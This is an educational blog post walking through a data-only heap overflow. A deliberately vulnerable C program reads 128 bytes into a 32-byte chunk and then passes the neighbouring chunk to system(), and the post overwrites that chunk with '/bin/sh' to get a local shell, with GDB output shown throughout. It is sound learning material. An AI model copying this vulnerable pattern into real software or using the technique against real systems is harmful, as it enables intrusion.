Hacking the Heap: The Data-Only Heap Overflow
Heap exploitation is often feared because of its complexity. Techniques like unsafe unlink, fastbin dup, or tcache poisoning require a deep understanding of the allocator's internal logic.
But sometimes, you don't need to trick the allocator. Sometimes, you just need to overwrite your neighbor. This is the Data-Only Heap Overflow.
In this post, we’ll dissect a vulnerability where we overflow one chunk to overwrite a command string in the next chunk, giving us a shell without ever strictly "corrupting" the heap logic to gain execution primitives.
The Vulnerable Code
The target is a simple C program that allocates two buffers. The first is for user input, and the second holds a system command.
int main(int argc, char *argv[]) {
// 1. Allocate two chunks right next to each other
char *ptr1 = malloc(32);
char *ptr2 = malloc(32);
// 2. ptr2 holds a harmless command
strcpy(ptr2, "echo this is a demo");
// 3. VULNERABILITY:
// We allocated 32 bytes for ptr1, but we read 128 bytes!
printf("Give me data: ");
read(0, ptr1, 128);
// 4. The program executes whatever is inside ptr2
system(ptr2);
// Cleanup (This is where it would normally crash)
free(ptr1);
free(ptr2);
}
This is what it does normally
$ ./overflow
ptr1: 0x5bf86062f2a0
ptr2: 0x5bf86062f2d0
Give me data: <- give it some input
ptr2 content: echo this is a demo
this is a demo
So our goals is here to instead of echo this is a demo to execute /bin/sh, that is because we want to hijack the ptr2 contents.
Phase 1: The Setup (Analysis)
Let's look at the memory layout in GDB (using GEF) immediately after the malloc calls but before we input data.
gef> heap chunks
Chunk(base=0x555555559000, addr=0x555555559010, size=0x290, flags=PREV_INUSE)
Chunk(base=0x555555559290, addr=0x5555555592a0, size=0x30, flags=PREV_INUSE) <-- ptr1
Chunk(base=0x5555555592c0, addr=0x5555555592d0, size=0x30, flags=PREV_INUSE) <-- ptr2
Why represent 32 bytes as 0x30?
We requested malloc(32). The heap manager adds a 16-byte header (on 64-bit systems) to every chunk.
- 32 bytes (Data) + 16 bytes (Header) = 48 bytes.
- 48 in Hex is
0x30. - The flag shows
0x31(PREV_INUSE) because the chunk before it is occupied.
The Inspection
If we look at the raw memory, we can see ptr1 and ptr2 are perfectly next / under each other.
gef> x/20gx 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000031 <-- ptr1 Header
0x5555555592a0: 0x0000000000000000 0x0000000000000000 <-- ptr1 Data (Empty)
0x5555555592b0: 0x0000000000000000 0x0000000000000000
0x5555555592c0: 0x0000000000000000 0x0000000000000031 <-- ptr2 Header
0x5555555592d0: 0x0000000000000000 0x0000000000000000 <-- ptr2 Data (Target)
The distance between ptr1 data (...92a0) and ptr2 data (...92d0) is exactly 48 bytes.
Phase 2: The Attack
The code performs read(0, ptr1, 128). Since the distance to the target is only 48 bytes, we have a trivial overflow.
We will send:
- 48 bytes of Padding (to fill
ptr1and overwriteptr2's header). - The Payload (
/bin/sh\x00).
The Corrupted State
After sending the payload, let's look at the heap again. It looks messy:
gef> heap chunks
Chunk(base=0x6478e08fd000, addr=0x6478e08fd010, size=0x290, flags=PREV_INUSE)
Chunk(base=0x6478e08fd290, addr=0x6478e08fd2a0, size=0x30, flags=PREV_INUSE)
Chunk(base=0x6478e08fd2c0, addr=0x6478e08fd2d0, size=0x4141414141414140, flags=PREV_INUSE)
[!] Corrupted: chunk > top
GEF is screaming [!] Corrupted because we overwrote the size field of the second chunk with 0x414141... (As). If the program tried to free(ptr2) right now, it would crash immediately because the metadata is invalid.
However, the program calls system(ptr2) before it calls free(). The system() function doesn't care about heap metadata; it just reads the string at that address.
Let's inspect the memory at ptr2:
gef> x/20gx 0x6478e08fd290
0x6478e08fd290: 0x0000000000000000 0x0000000000000031 <-- ptr1 Header (Intact)
0x6478e08fd2a0: 0x4141414141414141 0x4141414141414141 <-- ptr1 Data (Filled with 'A')
0x6478e08fd2b0: 0x4141414141414141 0x4141414141414141
0x6478e08fd2c0: 0x4141414141414141 0x4141414141414141 <-- ptr2 Header (Destroyed)
0x6478e08fd2d0: 0x0068732f6e69622f 0x6420612073692073 <-- ptr2 Data (HIJACKED) it will execute /bin/sh instead of echo this is a demo
We can decode that hex value at ...2d0:
0x0068732f6e69622f -> Little Endian -> /bin/sh\0.
Phase 3: The Execution
When the code reaches system(ptr2), we can confirm via the debugger that the argument has changed.
0x710f4a458750 <__libc_system> (
char* line = 0x00006478e08fd2d0 -> 0x0068732f6e69622f ('/bin/sh'?),
)
The system is now blindly executing our injected string. And running the python exploit script against the binary:
$ python3 exploit.py
Give me data: ptr2 content: /bin/sh
$ whoami
ian
gives us a shell. We have successfully turned a simple memory allocation error into a full shell.
This shows that you don't always need to bypass modern heap protections. If you can overwrite application data (like strings or function pointers) residing on the heap, the state of the allocator metadata doesn't matter until the program tries to free it, at which point you already have your shell. I'm not a heap expert by any means yet, so if you have any questions or comments, please let me know.